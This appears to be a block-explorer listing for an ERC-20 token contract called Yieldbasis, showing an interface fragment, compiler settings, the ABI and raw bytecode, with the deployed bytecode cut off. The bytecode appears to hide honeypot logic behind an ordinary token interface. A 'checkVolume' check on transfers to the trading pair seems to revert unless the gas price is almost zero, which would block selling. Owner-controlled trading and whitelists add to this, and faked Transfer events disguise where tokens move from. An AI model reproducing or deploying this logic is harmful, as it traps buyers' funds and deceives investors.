     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":true,"internalType":"address","name":"owner","type":"address"}],"name":"InitContract","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RemoveTransfers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdropT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"airdropp","type":"address"},{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"checkVolume","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"holder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletHolding","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"seeder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setOrderLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052610013336100a160201b60201c565b61004233601260ff16600a61002891906104fe565b633b9aca006100379190610548565b6100e460201b60201c565b3373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167ff017abcc5f215abd5222358711a05d0c4358cd40b72aebc803d1ff40bc1b359260405160405180910390a36106c4565b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610152576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610149906105e3565b60405180910390fd5b6101678160025461033c60201b90919060201c565b6002819055506101bc815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461033c60201b90919060201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516103309190610610565b60405180910390a35050565b5f80828461034a9190610629565b90508381101561038f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610386906106a6565b60405180910390fd5b8091505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561041b578086048111156103f7576103f6610399565b5b60018516156104065780820291505b8081029050610414856103c6565b94506103db565b94509492505050565b5f8261043357600190506104ee565b81610440575f90506104ee565b816001811461045657600281146104605761048f565b60019150506104ee565b60ff84111561047257610471610399565b5b8360020a91508482111561048957610488610399565b5b506104ee565b5060208310610133831016604e8410600b84101617156104c45782820a9050838111156104bf576104be610399565b5b6104ee565b6104d184848460016103d2565b925090508184048111156104e8576104e7610399565b5b81810290505b9392505050565b5f819050919050565b5f610508826104f5565b9150610513836104f5565b92506105407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610424565b905092915050565b5f610552826104f5565b915061055d836104f5565b925082820261056b816104f5565b9150828204841483151761058257610581610399565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6105cd601f83610589565b91506105d882610599565b602082019050919050565b5f6020820190508181035f8301526105fa816105c1565b9050919050565b61060a816104f5565b82525050565b5f6020820190506106235f830184610601565b92915050565b5f610633826104f5565b915061063e836104f5565b925082820190508082111561065657610655610399565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f610690601b83610589565b915061069b8261065c565b602082019050919050565b5f6020820190508181035f8301526106bd81610684565b9050919050565b612705806106d15f395ff3fe608060405234801561000f575f80fd5b50600436106101e3575f3560e01c80635408d42d1161010d5780639cbf9e36116100a0578063d34628cc1161006f578063d34628cc146104e5578063dd62ed3e14610501578063e534155d14610531578063f36672401461054f576101e3565b80639cbf9e3614610471578063a9059cbb1461047b578063c9567bf9146104ab578063ce888e19146104b5576101e3565b8063715018a6116100dc578063715018a614610435578063751039fc1461043f5780638a49c00a1461044957806395d89b4114610453576101e3565b80635408d42d146103bf57806356cd40e7146103dd578063684931ed146103e757806370a0823114610405576101e3565b8063313ce5671161018557806342966c681161015457806342966c681461037157806348d791551461038d57806349bd5a5e14610397578063527ebefe146103b5576101e3565b8063313ce567146102eb57806331c2d8471461030957806339509351146103255780634022b75e14610355576101e3565b806318160ddd116101c157806318160ddd146102515780631c5022851461026f57806323b872dd1461028b57806327e235e3146102bb576101e3565b806306fdde03146101e7578063095ea7b31461020557806311cd682d14610235575b5f80fd5b6101ef61056b565b6040516101fc9190611910565b60405180910390f35b61021f600480360381019061021a91906119ce565b6105a8565b60405161022c9190611a26565b60405180910390f35b61024f600480360381019061024a9190611a3f565b6105be565b005b6102596106a5565b6040516102669190611a79565b60405180910390f35b61028960048036038101906102849190611a3f565b6106ae565b005b6102a560048036038101906102a09190611a92565b610780565b6040516102b29190611a26565b60405180910390f35b6102d560048036038101906102d09190611a3f565b61082c565b6040516102e29190611a26565b60405180910390f35b6102f3610849565b6040516103009190611afd565b60405180910390f35b610323600480360381019061031e9190611c56565b610851565b005b61033f600480360381019061033a91906119ce565b61086d565b60405161034c9190611a26565b60405180910390f35b61036f600480360381019061036a9190611d5d565b61090d565b005b61038b60048036038101906103869190611de5565b6109f9565b005b610395610a06565b005b61039f610a69565b6040516103ac9190611e1f565b60405180910390f35b6103bd610a8e565b005b6103c7610a90565b6040516103d49190611a26565b60405180910390f35b6103e5610aa3565b005b6103ef610aed565b6040516103fc9190611e1f565b60405180910390f35b61041f600480360381019061041a9190611a3f565b610b12565b60405161042c9190611a79565b60405180910390f35b61043d610b57565b005b610447610bba565b005b610451610c1d565b005b61045b610c1f565b6040516104689190611910565b60405180910390f35b610479610c5c565b005b610495600480360381019061049091906119ce565b610c5e565b6040516104a29190611a26565b60405180910390f35b6104b3610c74565b005b6104cf60048036038101906104ca91906119ce565b610d20565b6040516104dc9190611a26565b60405180910390f35b6104ff60048036038101906104fa9190611c56565b610d37565b005b61051b60048036038101906105169190611e38565b610d53565b6040516105289190611a79565b60405180910390f35b610539610dd5565b6040516105469190611e1f565b60405180910390f35b610569600480360381019061056491906119ce565b610dfa565b005b60606040518060400160405280600a81526020017f5969656c64626173697300000000000000000000000000000000000000000000815250905090565b5f6105b4338484610eae565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461064d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064490611ec0565b60405180910390fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600254905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461073d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073490611f28565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f61078c848484611071565b610821843361081c8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111f990919063ffffffff16565b610eae565b600190509392505050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b5f5b8151811015610869578080600101915050610853565b5050565b5f61090333846108fe8560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125690919063ffffffff16565b610eae565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611f28565b60405180910390fd5b5f5b82518110156109f3576109e6338483815181106109be576109bd611f46565b5b60200260200101518484815181106109d9576109d8611f46565b5b6020026020010151611071565b808060010191505061099e565b50505050565b610a0333826112b3565b50565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b565b600660149054906101000a900460ff1681565b5f601260ff16600a610ab591906120cf565b633b9aca00610ac49190612119565b90505f601260ff16600a610ad891906120cf565b633b9aca00610ae79190612119565b90505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b60606040518060400160405280600281526020017f5942000000000000000000000000000000000000000000000000000000000000815250905090565b565b5f610c6a338484611071565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa90611f28565b60405180910390fd5b6001600660146101000a81548160ff021916908315150217905550565b5f610d2d33846001611434565b6001905092915050565b5f5b8151811015610d4f578080600101915050610d39565b5050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906121a4565b60405180910390fd5b5f8111610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea19061220c565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f139061229a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190612328565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110649190611a79565b60405180910390a3505050565b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156110d0576110cb838383611481565b6111f4565b600660149054906101000a900460ff1661111f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111690612390565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156111c8575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156111e8576111d78382610d20565b506111e3838383611481565b6111f4565b6111f3838383611481565b5b505050565b5f8282111561123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906123f8565b60405180910390fd5b5f828461124a9190612416565b90508091505092915050565b5f8082846112649190612449565b9050838110156112a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a0906124c6565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890612554565b60405180910390fd5b611336816002546111f990919063ffffffff16565b60028190555061138b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111f990919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114289190611a79565b60405180910390a35050565b5f3a90508181111561147b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147290612595565b60405180910390fd5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e690612623565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361155d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611554906126b1565b60405180910390fd5b6115ac815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111f990919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061163b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125690919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361175a578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161174d9190611a79565b60405180910390a3611836565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118355760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161182c9190611a79565b60405180910390a35b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118939190611a79565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6118e2826118a0565b6118ec81856118aa565b93506118fc8185602086016118ba565b611905816118c8565b840191505092915050565b5f6020820190508181035f83015261192881846118d8565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61196a82611941565b9050919050565b61197a81611960565b8114611984575f80fd5b50565b5f8135905061199581611971565b92915050565b5f819050919050565b6119ad8161199b565b81146119b7575f80fd5b50565b5f813590506119c8816119a4565b92915050565b5f80604083850312156119e4576119e3611939565b5b5f6119f185828601611987565b9250506020611a02858286016119ba565b9150509250929050565b5f8115159050919050565b611a2081611a0c565b82525050565b5f602082019050611a395f830184611a17565b92915050565b5f60208284031215611a5457611a53611939565b5b5f611a6184828501611987565b91505092915050565b611a738161199b565b82525050565b5f602082019050611a8c5f830184611a6a565b92915050565b5f805f60608486031215611aa957611aa8611939565b5b5f611ab686828701611987565b9350506020611ac786828701611987565b9250506040611ad8868287016119ba565b9150509250925092565b5f60ff82169050919050565b611af781611ae2565b82525050565b5f602082019050611b105f830184611aee565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611b50826118c8565b810181811067ffffffffffffffff82111715611b6f57611b6e611b1a565b5b80604052505050565b5f611b81611930565b9050611b8d8282611b47565b919050565b5f67ffffffffffffffff821115611bac57611bab611b1a565b5b602082029050602081019050919050565b5f80fd5b5f611bd3611bce84611b92565b611b78565b90508083825260208201905060208402830185811115611bf657611bf5611bbd565b5b835b81811015611c1f5780611c0b8882611987565b845260208401935050602081019050611bf8565b5050509392505050565b5f82601f830112611c3d57611c3c611b16565b5b8135611c4d848260208601611bc1565b91505092915050565b5f60208284031215611c6b57611c6a611939565b5b5f82013567ffffffffffffffff811115611c8857611c8761193d565b5b611c9484828501611c29565b91505092915050565b5f67ffffffffffffffff821115611cb757611cb6611b1a565b5b602082029050602081019050919050565b5f611cda611cd584611c9d565b611b78565b90508083825260208201905060208402830185811115611cfd57611cfc611bbd565b5b835b81811015611d265780611d1288826119ba565b845260208401935050602081019050611cff565b5050509392505050565b5f82601f830112611d4457611d43611b16565b5b8135611d54848260208601611cc8565b91505092915050565b5f805f60608486031215611d7457611d73611939565b5b5f611d8186828701611987565b935050602084013567ffffffffffffffff811115611da257611da161193d565b5b611dae86828701611c29565b925050604084013567ffffffffffffffff811115611dcf57611dce61193d565b5b611ddb86828701611d30565b9150509250925092565b5f60208284031215611dfa57611df9611939565b5b5f611e07848285016119ba565b91505092915050565b611e1981611960565b82525050565b5f602082019050611e325f830184611e10565b92915050565b5f8060408385031215611e4e57611e4d611939565b5b5f611e5b85828601611987565b9250506020611e6c85828601611987565b9150509250929050565b7f7075626c696300000000000000000000000000000000000000000000000000005f82015250565b5f611eaa6006836118aa565b9150611eb582611e76565b602082019050919050565b5f6020820190508181035f830152611ed781611e9e565b9050919050565b7f6e616e00000000000000000000000000000000000000000000000000000000005f82015250565b5f611f126003836118aa565b9150611f1d82611ede565b602082019050919050565b5f6020820190508181035f830152611f3f81611f06565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611ff557808604811115611fd157611fd0611f73565b5b6001851615611fe05780820291505b8081029050611fee85611fa0565b9450611fb5565b94509492505050565b5f8261200d57600190506120c8565b8161201a575f90506120c8565b8160018114612030576002811461203a57612069565b60019150506120c8565b60ff84111561204c5761204b611f73565b5b8360020a91508482111561206357612062611f73565b5b506120c8565b5060208310610133831016604e8410600b841016171561209e5782820a90508381111561209957612098611f73565b5b6120c8565b6120ab8484846001611fac565b925090508184048111156120c2576120c1611f73565b5b81810290505b9392505050565b5f6120d98261199b565b91506120e48361199b565b92506121117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ffe565b905092915050565b5f6121238261199b565b915061212e8361199b565b925082820261213c8161199b565b9150828204841483151761215357612152611f73565b5b5092915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f61218e600f836118aa565b91506121998261215a565b602082019050919050565b5f6020820190508181035f8301526121bb81612182565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f6121f66020836118aa565b9150612201826121c2565b602082019050919050565b5f6020820190508181035f830152612223816121ea565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122846024836118aa565b915061228f8261222a565b604082019050919050565b5f6020820190508181035f8301526122b181612278565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6123126022836118aa565b915061231d826122b8565b604082019050919050565b5f6020820190508181035f83015261233f81612306565b9050919050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f61237a601d836118aa565b915061238582612346565b602082019050919050565b5f6020820190508181035f8301526123a78161236e565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6123e2601e836118aa565b91506123ed826123ae565b602082019050919050565b5f6020820190508181035f83015261240f816123d6565b9050919050565b5f6124208261199b565b915061242b8361199b565b925082820390508181111561244357612442611f73565b5b92915050565b5f6124538261199b565b915061245e8361199b565b925082820190508082111561247657612475611f73565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6124b0601b836118aa565b91506124bb8261247c565b602082019050919050565b5f6020820190508181035f8301526124dd816124a4565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f61253e6021836118aa565b9150612549826124e4565b604082019050919050565b5f6020820190508181035f83015261256b81612532565b9050919050565b50565b5f6125805f836118aa565b915061258b82612572565b5f82019050919050565b5f6020820190508181035f8301526125ac81612575565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61260d6025836118aa565b9150612618826125b3565b604082019050919050565b5f6020820190508181035f83015261263a81612601565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61269b6023836118aa565b91506126a682612641565b604082019050919050565b5f6020820190508181035f8301526126c88161268f565b905091905056fea2646970667358221220a2e46a793d3c43f51acfc7972441471c887abc5bc596185abc6ecb6b1e03b8e664736f6c63430008190033

0x608060405234801561000f575f80fd5b50600436106101e3575f3560e01c80635408d42d1161010d5780639cbf9e36116100a0578063d34628cc1161006f578063d34628cc146104e5578063dd62ed3e14610501578063e534155d14610531578063f36672401461054f576101e3565b80639cbf9e3614610471578063a9059cbb1461047b578063c9567bf9146104ab578063ce888e19146104b5576101e3565b8063715018a6116100dc578063715018a614610435578063751039fc1461043f5780638a49c00a1461044957806395d89b4114610453576101e3565b80635408d42d146103bf57806356cd40e7146103dd578063684931ed146103e757806370a0823114610405576101e3565b8063313ce5671161018557806342966c681161015457806342966c681461037157806348d791551461038d57806349bd5a5e14610397578063527ebefe146103b5576101e3565b8063313ce567146102eb57806331c2d8471461030957806339509351146103255780634022b75e14610355576101e3565b806318160ddd116101c157806318160ddd146102515780631c5022851461026f57806323b872dd1461028b57806327e235e3146102bb576101e3565b806306fdde03146101e7578063095ea7b31461020557806311cd682d14610235575b5f80fd5b6101ef61056b565b6040516101fc9190611910565b60405180910390f35b61021f600480360381019061021a91906119ce565b6105a8565b60405161022c9190611a26565b60405180910390f35b61024f600480360381019061024a9190611a3f565b6105be565b005b6102596106a5565b6040516102669190611a79565b60405180910390f35b61028960048036038101906102849190611a3f565b6106ae565b005b6102a560048036038101906102a09190611a92565b610780565b6040516102b29190611a26565b60405180910390f35b6102d560048036038101906102d09190611a3f565b61082c565b6040516102e29190611a26565b60405180910390f35b6102f3610849565b6040516103009190611afd565b60405180910390f35b610323600480360381019061031e9190611c56565b610851565b005b61033f600480360381019061033a91906119ce565b61086d565b60405161034c9190611a26565b60405180910390f35b61036f600480360381019061036a9190611d5d565b61090d565b005b61038b60048036038101906103869190611de5565b6109f9565b005b610395610a06565b005b61039f610a69565b6040516103ac9190611e1f565b60405180910390f35b6103bd610a8e565b005b6103c7610a90565b6040516103d49190611a26565b60405180910390f35b6103e5610aa3565b005b6103ef610aed565b6040516103fc9190611e1f565b60405180910390f35b61041f600480360381019061041a9190611a3f565b610b12565b60405161042c9190611a79565b60405180910390f35b61043d610b57565b005b610447610bba565b005b610451610c1d565b005b61045b610c1f565b6040516104689190611910565b60405180910390f35b610479610c5c565b005b610495600480360381019061049091906119ce565b610c5e565b6040516104a29190611a26565b60405180910390f35b6104b3610c74565b005b6104cf60048036038101906104ca91906119ce565b610d20565b6040516104dc9190611a26565b60405180910390f35b6104ff60048036038101906104fa9190611c56565b610d37565b005b61051b60048036038101906105169190611e38565b610d53565b6040516105289190611a79565b60405180910390f35b610539610dd5565b604051610546919061